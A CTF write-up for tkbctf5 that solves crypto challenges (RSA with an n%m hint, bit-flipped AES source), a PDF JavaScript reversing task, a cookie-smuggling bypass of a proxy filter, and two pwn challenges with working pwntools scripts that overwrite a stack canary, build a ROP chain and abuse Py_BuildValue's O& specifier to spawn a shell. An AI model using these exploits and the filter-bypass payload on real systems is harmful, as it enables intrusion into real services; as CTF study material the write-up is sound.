# tkbctf5 challenge writeups
Writeup author: fsharp
## Introduction
I had a little free time and played tkbctf5 alone (under my old CTFTime solo team name [fsharp_hk](https://ctftime.org/team/211704/)), achieving 59th place out of 185 teams. Out of all challenges, I managed to solve 2 crypto, 1 reversing, 1 web exploitation and 2 binary exploitation challenges.
## Cryptography
### Single Hint RSA (96 pts, 111 solves)
Author: yu212
We are given two files. The first one (`chall.py`) is a script that generates an RSA ciphertext from the flag:
```python
import os
from math import gcd
from Crypto.Util.number import getPrime, bytes_to_long
e = 11
flag = os.environ.get("FLAG", f"tkbctf{{{"dummy"*24}}}")
flag = flag.removeprefix("tkbctf{").removesuffix("}").encode()
assert len(flag) == 120
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
assert gcd((p - 1) * (q - 1), e) == 1
n = p * q
c = pow(m, e, n)
hint1 = n % m
print(f"{n=}")
print(f"{e=}")
print(f"{c=}")
print(f"{hint1=}")
```
The second one is the output (`output.txt`):
```
n=106355772659701345964318417143394651063207428456215453439002897507959529597434886809900091569966425277511938767801980714938398649158388112317710373391834663525304231863666383091470134532442609738641279822679588058405512137402630292338680201169977752096539561076464502681405533276738762606253695333486635300117
e=11
c=57709889892302481730604978456569407865866089984321485829668848041279746593625646867358726055884587571542026961018063222927783667255209992837359953872022080880950318593445249622351520650827684714014441718458985647744543454058728562449684598363921005049148443778614680659575826505490809066816806157858025523873
hint1=54090058252804218553770902127609841718548664220987085177964232538368049188447317574459229022955503639171581148196516877285398714054794498098761794789311951957865082652646501644947370300536353612069166697135782197061383589516041765932064632491262789467798239447500141545602675069866142902
```
Since `(n - hint1) % m == 0`, we can get an equation `k * m = n - hint1` for an unknown integer `k`. As the flag is 120 characters, `m` should be at most 120 x 8 = 960 bits. Since `n - hint1` is 1024 bits, `k` is around 1024 - 960 = 64 bits.
Given how small `k` is, it's feasible to factorize `n - hint1` to recover it so that `m` (the flag) can be calculated from `(n - hint1) // k`. However, there's a quicker way that doesn't involve factorization.
The ciphertext `c` is `pow(m, e, n)`. Calculating `pow(n - hint1, e, n)` is the same as `pow(k * m, e, n)`, and `m` can be cancelled out by multiplying that with `pow(c, -1, n)`, which gives us `pow(k, e, n)`. As `e = 11`, `pow(k, e)`'s bit length is only roughly 11 x 64 = 704 bits, which isn't as big as n's bit length (1024). This means we now have the 11th power of `k`, and we can just take its 11th root to recover `k`. Alternatively, we can just take the greatest common divisor of `k ** 11` and `n - hint1`.
```python
from math import gcd
from Crypto.Util.number import long_to_bytes
n = 106355772659701345964318417143394651063207428456215453439002897507959529597434886809900091569966425277511938767801980714938398649158388112317710373391834663525304231863666383091470134532442609738641279822679588058405512137402630292338680201169977752096539561076464502681405533276738762606253695333486635300117
e = 11
c = 57709889892302481730604978456569407865866089984321485829668848041279746593625646867358726055884587571542026961018063222927783667255209992837359953872022080880950318593445249622351520650827684714014441718458985647744543454058728562449684598363921005049148443778614680659575826505490809066816806157858025523873
hint1 = 54090058252804218553770902127609841718548664220987085177964232538368049188447317574459229022955503639171581148196516877285398714054794498098761794789311951957865082652646501644947370300536353612069166697135782197061383589516041765932064632491262789467798239447500141545602675069866142902
m_mul = n - hint1 # k * m == n - hint1
k_pow_11 = pow(m_mul, e, n) * pow(c, -1, n) % n # k ** 11 == k_pow_11
k = gcd(m_mul, k_pow_11)
m = m_mul // k
flag = "tkbctf{" + long_to_bytes(m).decode() + '}'
print(flag) # tkbctf{I_do_understand_the_risk_of_leaking_plaintext_by_giving_additional_information_in_the_RSA_and_really_want_to_provide_n%m}
```
### Faulty AES (124 pts, 61 solves)
Author: yu212
We're given a Python implementation of AES from `https://github.com/boppreh/aes/blob/master/aes.py` and the following `server.py` script:
```python
import inspect
import os
import hashlib
# https://github.com/boppreh/aes/blob/master/aes.py
import aes
flag = os.environ.get("FLAG", "tkbctf{dummy}")
hash_val = hashlib.sha256(flag.encode()).digest()
key, msg = hash_val[:16], hash_val[16:]
pos = int(input("pos: "))
source = bytearray(inspect.getsource(aes), "utf-8")
source[pos // 8] ^= 1 << (pos % 8)
exec(bytes(source), aes.__dict__)
print("ct:", aes.AES(key).encrypt_block(msg).hex())
if bytes.fromhex(input("hash: ")) == hash_val:
print(flag)
else:
print("wrong")
```
The goal is to recover both the AES encryption key (`key`) and the plaintext (`msg`) through injecting a 'fault' into (i.e. toggling 1 bit of) the AES implementation script.
From what I understand, fault attacks normally involve toggling bits of various stages in AES and not directly on the AES implementation script, so the premise of this challenge was new to me. After brainstorming a little, I noticed I could do some really useful things for certain bit flips.
The `sub_bytes()`, `add_round_key()` and `mix_columns()` parts of AES encryption can be disabled by changing the iteration range of the outer loop from `4` to `0` (XOR `1 << 2`):
```python
def <part_name>(s):
for i in range(0): # <-- originally 'for i in range(4):'
<some operations here>
```
The part that's most worth disabling here is `add_round_key()`, which makes AES encryption independent of the key and allows the plaintext to be recovered:
```python
from pwn import *
import aes
context.log_level = "error"
source = bytearray(inspect.getsource(aes), "utf-8")
# Get the ciphertext with add_round_key disabled
pos = 31986
chall = remote("35.194.108.145", 54140)
_ = chall.sendlineafter(b"pos: ", str(pos).encode())
_ = chall.recvuntil(b"ct: ")
ct = bytes.fromhex(chall.recvuntil(b'\n', drop = True).decode()) # b'\xc7\xdb~\x11\x1a\x86\xf8\x80\xff$h\xa6h\x99D\xb4'
chall.close()
source[pos // 8] ^= 1 << (pos % 8)
exec(bytes(source), aes.__dict__)
msg = aes.AES(b"doesn't matter!!").decrypt_block(ct) # b's\x94ww\xba\x14\xd8\x8b\xfe:2%\xd0\xc2\xf4\xc2'
```
Another useful bit flip is to get rid of all AES rounds by changing the number of rounds for a 16-byte AES key from `10` to `00` (XOR (1 << 0)):
```python
class AES:
# ...
rounds_by_key_size = {16: 00, 24: 12, 32: 14} # <-- rounds_by_key_size[16] was originally 10
def __init__(self, master_key):
# ...
assert len(master_key) in AES.rounds_by_key_size
self.n_rounds = AES.rounds_by_key_size[len(master_key)]
self._key_matrices = self._expand_key(master_key)
# ...
```
Zero-round AES looks like this:
```python
def encrypt_block(self, plaintext):
# ...
assert len(plaintext) == 16
plain_state = bytes2matrix(plaintext)
add_round_key(plain_state, self._key_matrices[0])
# No more rounds!!!
# for i in range(1, self.n_rounds):
# sub_bytes(plain_state)
# shift_rows(plain_state)
# mix_columns(plain_state)
# add_round_key(plain_state, self._key_matrices[i])
sub_bytes(plain_state)
shift_rows(plain_state)
add_round_key(plain_state, self._key_matrices[-1]) # same as [0] in this case
return matrix2bytes(plain_state)
```
What's crucial here is that `self._key_matrices[0]` is the AES key itself and the ciphertext generated doesn't depend on any round key, which simplifies things a lot. We can use the recovered `msg` and the zero-round AES ciphertext to significantly reduce the number of AES key candidates (WARNING: ***very*** ugly code ahead...):
```python
from pwn import *
import aes
# Get the ciphertext with with no AES rounds
pos = 55080
chall = remote("35.194.108.145", 54140)
_ = chall.sendlineafter(b"pos: ", str(pos).encode())
_ = chall.recvuntil(b"ct: ")
zero_round_ct = bytes.fromhex(chall.recvuntil(b'\n', drop = True).decode()) # b"[A\xec\xaeF\xfe\xedmi2\xb0T\xa5y\x17'"
chall.close()
# Solve for AES key candidates
shift_row_indices = [0, 13, 10, 7, 4, 1, 14, 11, 8, 5, 2, 15, 12, 9, 6, 3]
#for (i, j) in enumerate(shift_row_indices):
# assert aes.s_box[msg[i] ^ key[i]] == zero_round_ct[j] ^ key[j]
key_candidates = {}
for (i, j) in enumerate(shift_row_indices):
if i == j:
key_candidates[i] = []
for k in range(256):
if (aes.s_box[msg[i] ^ k] == zero_round_ct[i] ^ k) or (msg[i] ^ k == aes.inv_s_box[zero_round_ct[i] ^ k]):
key_candidates[i].append(k)
else:
key_candidates[(i, j)] = []
for k0 in range(256):
for k1 in range(256):
if aes.s_box[msg[i] ^ k0] == zero_round_ct[j] ^ k1:
key_candidates[(i, j)].append((k0, k1))
key_0, key_4, key_8, key_12 = key_candidates[0], key_candidates[4], key_candidates[8], key_candidates[12]
key_2_10 = key_candidates[(2, 10)]
key_6_14 = key_candidates[(6, 14)]
key_1_5_9_13 = []
key_3_7_11_15 = []
for (k_1, k_13) in key_candidates[(1, 13)]:
k_5 = None
k_9 = None
for (a, b) in key_candidates[(5, 1)]:
if b == k_1:
k_5 = a
break
for (a, b) in key_candidates[(9, 5)]:
if b == k_5:
k_9 = a
break
if (k_13, k_9) not in key_candidates[(13, 9)]:
continue
key_1_5_9_13.append((k_1, k_5, k_9, k_13))
for (k_3, k_7) in key_candidates[(3, 7)]:
k_11 = None
k_15 = None
for (a, b) in key_candidates[(7, 11)]:
if a == k_7:
k_11 = b
break
for (a, b) in key_candidates[(11, 15)]:
if a == k_11:
k_15 = b
break
if (k_15, k_3) not in key_candidates[(15, 3)]:
continue
key_3_7_11_15.append((k_3, k_7, k_11, k_15))
# At this point, we know key[0], key[12] and key[1, 5, 9, 13]
k0 = key_0[0] # 22
k12 = key_12[0] # 210
k1, k5, k9, k13 = key_1_5_9_13[0] # (9, 192, 235, 39)
# We still have 2 key[4], 2 key[8], 256 key[2, 10], 256 key[6, 14] and 2 key[3, 7, 11, 15] possibilities, which makes up 524288 key candidates
```
To figure out the correct key, we can now just bruteforce key candidates to see which one decrypts the normal AES ciphertext into `msg`:
```python
# Get the ciphertext from normal AES encryption
pos = 32512
chall = remote("35.194.108.145", 54140)
_ = chall.sendlineafter(b"pos: ", str(pos).encode())
_ = chall.recvuntil(b"ct: ")
normal_ct = bytes.fromhex(chall.recvuntil(b'\n', drop = True).decode()) # b'H\r\xfai\xbe\xcc\x99\xc2\x1d7"\x91\x12\x14\xaa\x96'
chall.close()
# Recover the correct AES key
try:
for k4 in key_4:
for k8 in key_8:
for (k2, k10) in key_2_10:
for (k6, k14) in key_6_14:
for (k3, k7, k11, k15) in key_3_7_11_15:
key = bytes([k0, k1, k2, k3, k4, k5, k6, k7, k8, k9, k10, k11, k12, k13, k14, k15])
if aes.AES(key).encrypt_block(msg) == normal_ct:
raise Exception()
except:
pass
# key = b"\x16\t\xdd\xfe5\xc0#\xcap\xeb\x1c\xd7\xd2'\x18\xae"
# Submit the key and message to get the flag
chall = remote("35.194.108.145", 54140)
_ = chall.sendlineafter(b"pos: ", str(pos).encode())
_ = chall.sendlineafter(b"hash: ", (key.hex() + msg.hex()).encode())
flag = chall.recvuntil(b'\n', drop = True).decode()
chall.close()
print(flag) # tkbctf{AES_is_n0t_s3cur3_ag4inst_ch0s3n_bit_f1ip_4ttacks!}
```
## Reversing
### README.pdf (88 pts, 135 solves)
Author: arata-nvm
We're given a PDF file that acts as an interactive flag checker when opened in a web browser:

PDFs are composed of various kinds of data streams, which includes JavaScript used to make them interactive. To look at how the flag checker's implemented, I used a PDF stream decoding tool ([PDF Stream Dumper](https://sandsprite.com/blogs/index.php?uid=7&pid=57)) and found a stream containing JavaScript:

The top of the stream contains the flag checking function, while the remainder of the stream (not shown in the screenshot) is responsible for placing the buttons and implementing their logic.
The flag can be recovered by reversing a XOR cipher:
```python
expected = [46, 49, 56, 57, 46, 60, 33, 16, 110, 44, 110, 9, 57, 40, 107, 42, 46, 5, 107, 52, 5, 10, 30, 28, 39]
k = 90
flag = bytes([e ^ k for e in expected]).decode()
print(flag) # tkbctf{J4v4Scr1pt_1n_PDF}
```

## Web exploitation
### Patisserie (107 pts, 85 solves)
Author: kq5y
We're given the source code of a website used for sharing pastry recipes. The website has an endpoint that shows the flag when the user provides an `is_admin` HTTP cookie with a value of `1`:
```javascript
app.get("/admin", (req, res) => {
if (req.cookies.is_admin === "1") {
return res.send(`<!DOCTYPE html><html><head><meta charset="utf-8"><title>Admin - Patisserie</title>${PAGE_STYLE}</head>
<body>
${nav("Admin")}
<div class="container">
<h1>Admin Panel</h1>
<div class="card">
<h2>Secret Recipe</h2>
<p>${FLAG}</p>
</div>
</div>
</body></html>`);
}
// ...
});
```
However, the catch is a proxy that tries to block HTTP requests containing cookies with the string `admin`:
```python
import os
import http.client
import urllib.parse
from flask import Flask, Response, request
from http.cookies import SimpleCookie
app = Flask(__name__)
BACKEND_URL = os.environ.get("BACKEND_URL", "http://app:3000")
MAX_COOKIES = 16
def parse_cookie_header(raw: str) -> dict[str, str]:
sc = SimpleCookie()
try:
sc.load(raw)
except Exception:
return {}
return {key: morsel.value for key, morsel in sc.items()}
def check_cookies(cookie_header: str) -> str | None:
cookie_header = cookie_header.strip()
if not cookie_header:
return None
cookies = parse_cookie_header(cookie_header)
if not cookies:
return "malformed cookie"
if len(cookies) > MAX_COOKIES:
return "too many cookies"
for name in cookies:
if "admin" in name.lower():
return "blocked cookie"
return None
# If check_cookies() returns a string, the HTTP request is blocked
# ...
```
So we need to somehow specify an `is_admin` cookie without getting blocked. From this, I felt that `SimpleCookie()` (the Python class used to check the cookies) might have a parser differential. After doing some digging, I found [this article from arxenix](https://blog.ankursundara.com/cookie-bugs/):

The article later on mentions that `SimpleCookie()` is vulnerable to this cookie smuggling payload as well. So, to solve this challenge, I can just take the payload and add the desired `is_admin` cookie in there:
`curl -H "Cookie: user=...; RENDER_TEXT=\"hello world; is_admin=1; ASDF=end\";" http://35.194.108.145:11198/admin`
Flag: `tkbctf{qu0t3d_c00k13_smuggl1ng_p4rs3r_d1ff_7d3f8a2b}`
## Binary exploitation
### Stack BOF (142 pts, 45 solves)
Author: keymoon
The program's source code is:
```c
// gcc -Wl,-z,now,-z,relro main.c -o stack-bof
#include <stdio.h>
#include <stdint.h>
int main() {
char buf[8];
uint64_t* dest = 0;
printf("printf: %p\n", printf);
read(0, &dest, 8);
read(0, dest, 8);
gets(buf);
}
__attribute__((constructor)) void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
```
The program has all protections enabled. We're given a libc address leak (the address of `printf()`), then we're asked for an address to write to and 8 bytes to write there (i.e. a write-what-where gadget) before `gets(buf)` is called.
Without the write-what-where gadget, this challenge will only be solvable by bruteforcing the stack canary, and actually doing that will probably get me disqualified from the CTF. But I remember reading [a pwn challenge writeup from c0nrad / Sloppy Joe Pirates](https://gist.github.com/c0nrad/8aa6300c6035ce640cb0497106eb3377) that involves overwriting the stack canary when a libc address is leaked and bypasses the stack smashing protection. Apparently, the address where the canary's stored is always at a constant offset from the libc base address. So, I can use the gadget to perform this technique before writing a ROP chain to spawn a shell:
```python
from pwn import *
chall = remote("35.194.108.145", 26639)
_ = chall.recvuntil(b"printf: ")
printf_addr = eval(chall.recvuntil(b'\n', drop = True).decode())
libc_addr = printf_addr - 0x60100
canary_addr = printf_addr - 0x62998
new_rbp = libc_addr + 0x205200 # Point RBP to a writable section within libc
new_canary = b'a' * 8
pop_rdi_ret = p64(libc_addr + 0x10f78b)
ret = p64(libc_addr + 0x2882f)
bin_sh_str = p64(libc_addr + 1881135)
system_addr = p64(libc_addr + 362320)
# Overwrite the canary with something we know
chall.send(p64(canary_addr))
chall.send(new_canary)
# Write a ROP chain
chall.sendline(b'a' * 8 + new_canary + p64(new_rbp) + pop_rdi_ret + bin_sh_str + ret + system_addr)
chall.interactive()
# cat /flag* --> tkbctf{*** stack smashing not detected ***}
```
### PyFSB (159 pts, 35 solves)
Author: iwancof
We have the following Python script that's run whenever the user connects to the challenge:
```python
#!/usr/bin/env -S python3 -u
print("welcome to fsb service")
import fsb
while True:
print(fsb.pwn())
```
`fsb` is a custom Python module, and its C source code is given as follows:
```c
#include <Python.h>
static PyObject *pwn(PyObject *self, PyObject *args) {
char request[0x100];
if (fgets(request, 0x100, stdin) == NULL)
return NULL;
request[strcspn(request, "\n")] = 0;
return Py_BuildValue(request);
}
static PyMethodDef FsbMethods[] = {{"pwn", pwn, METH_VARARGS, NULL}, {NULL, NULL, 0, NULL}};
static struct PyModuleDef fsb_mod = {PyModuleDef_HEAD_INIT, "fsb", NULL, -1, FsbMethods};
PyMODINIT_FUNC PyInit_fsb(void) { return PyModule_Create(&fsb_mod); }
```
According to the [Python documentation](https://docs.python.org/3/c-api/arg.html#c.Py_BuildValue), `Py_BuildValue()` takes a format string as its first argument and returns a Python object based on that. It has some similarities with the C [`printf()`](https://en.cppreference.com/w/c/io/fprintf) function.
To get a shell, ideally I can choose which function or address to call and what arguments to pass to it. Luckily, the `O&` format specifier does exactly that:

Let's take a look at a real-world example to see what a converter function can look like. Doing a Google search, I stumbled upon [this code snippet from the Robot Operating System](https://docs.ros.org/en/melodic/api/tf2_py/html/tf2__py_8cpp_source.html):
```c
static int rosduration_converter(PyObject *obj, ros::Duration *rt)
{
PyObject *tsr = PyObject_CallMethod(obj, (char*)"to_sec", NULL);
if (tsr == NULL) {
PyErr_SetString(PyExc_TypeError, "time must have a to_sec method, e.g. rospy.Time or rospy.Duration");
return 0;
} else {
(*rt).fromSec(PyFloat_AsDouble(tsr));
Py_DECREF(tsr);
return 1;
}
}
static int BufferCore_init(PyObject *self, PyObject *args, PyObject *kw)
{
ros::Duration cache_time;
cache_time.fromSec(tf2::BufferCore::DEFAULT_CACHE_TIME);
if (!PyArg_ParseTuple(args, "|O&", rosduration_converter, &cache_time))
return -1;
((buffer_core_t*)self)->bc = new tf2::BufferCore(cache_time);
return 0;
}
```
It seems that we have control over two arguments (the `rdi` and `rsi` registers) passed into the converter function, which is great! But how do we know what to call? In most `printf()` format string buffer pwn challenges, libc addresses need to be leaked (e.g. with the `%p` pointer format specifier), and `Py_BuildValue()` does have a have a format specifier for that too:

If all goes well, I should be able to leak a libc address using the `K` format specifier, then call `system("/bin/sh")` using the `O&` format specifier.
Sending `'K' * 254` to the server, I get a tuple of 254 unsigned long longs, and the 201st value is a libc address. With the libc base address known, I can also calculate where `system()` and `"/bin/sh"` lie within libc to spawn a shell:
```python
from pwn import *
chall = remote("35.194.108.145", 13840)
_ = chall.recvuntil(b'\n')
chall.sendline(b'K' * 254)
leaked = eval(chall.recvuntil(b'\n', drop = True).decode())
libc_addr = leaked[200] - 0x2a1ca
bin_sh_str = libc_addr + 1881135
system_addr = libc_addr + 362320
chall.sendline(b'K' * 12 + b'O&' + b'\x00' * 2 + b'a' * 40 + p64(system_addr) + p64(bin_sh_str))
chall.interactive()
# cat flag* --> tkbctf{n3w_463_0f_f5b-805a5dd8f03016053bf77528ec56265b7c593e6612d54a458258e5e2eba51ab0}
```